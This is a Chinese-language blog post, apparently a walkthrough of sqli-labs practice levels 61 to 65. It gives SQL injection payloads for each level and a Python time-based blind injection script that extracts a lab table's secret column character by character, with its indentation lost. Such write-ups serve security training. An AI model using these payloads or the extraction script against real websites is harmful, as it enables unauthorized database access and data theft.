hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. 靶场
  3. sqli-labs
  4. 正文

sqli-labs 61-70

2023年10月7日 595点热度 0人点赞 0条评论

61

payload:?id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

62

payload:?id=1') and (length(database())=10) %23

或者

payload:?id=1' and (length(database())=10) and '1'='1

本题次数限制130次,爆破是没办法了。

import requests
import time

chSet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
res = ""

def binary(start, end, process, index=0):
# 本质上是一种迭代,以递归的形式写
# process是一个函数

global res
if start >= end:
res += chSet[start]
return 0
mid = (start + end) // 2
if index:
temp = process(ord(chSet[mid]), index)
else:
temp = process(mid)
if temp == 1:
if index:
binary(start, mid, process, index)
else:
binary(start, mid, process)
elif temp == -1:
if index:
binary(mid+1, end, process, index)
else:
binary(mid+1, end, process)

def getDatabase(chrAscii, index):
url = "http://localhost/Less-10/?id=1%22%20"
payload = "and%20if(ascii(substr(database(),{},1))<={},\
sleep(1),0)--+".format(index, chrAscii)
timeStart = time.time()
requests.get(url=url+payload)
if time.time() - timeStart > 1:
return 1
else:
return -1

def getLen(index):
url = "http://localhost/Less-10/?id=1%22%20"
payload = "and%20if(length(select)<={},\
sleep(1),0)--+".format(index)
timeStart = time.time()
requests.get(url=url+payload)
if time.time() - timeStart > 1:
return 1
else:
return -1

def getKeyCol(chrAscii, index):
url = "http://192.168.124.4/Less-62/?id=1%27)%20"
payload = "and%20if(ascii(substr((select column_name from information_schema.columns where table_name='0a3tw0cifu' limit 2,1),{},1))<={},\
sleep(1),0)--+".format(index, chrAscii)
timeStart = time.time()
requests.get(url=url+payload)
if time.time() - timeStart > 1:
return 1
else:
return -1

def getKey(chrAscii, index):
url = "http://192.168.124.4/Less-62/?id=1%27)%20"
payload = "and%20if(ascii(substr((select secret_E6PD from 0a3tw0cifu),{},1))<={},\
sleep(1),0)--+".format(index, chrAscii)
timeStart = time.time()
requests.get(url=url+payload)
if time.time() - timeStart > 1:
return 1
else:
return -1

if __name__ == "__main__":
for i in range(0, 24):
binary(0, 61, getKey, i+1)
print(res)

布尔盲注和时间盲注均可,以上是时间盲注脚本

63

payload:?id=1' and (length(database())=10) %23

64

payload:?id=1)) and (length(database())=10) %23

65

payload:?id=1") and (length(database())=10) %23

标签: 合集 靶场
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞
< 上一篇

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • 61
  • 62
  • 63
  • 64
  • 65

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
加密与解密 第10章 CVE-2017-5664 Apache Tomcat安全限制绕过漏洞 0day安全 第9-15章总结 CVE-2022-4565 Hutool资源消耗漏洞 Fuzzing101 7 Sandbox绕过同源策略

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1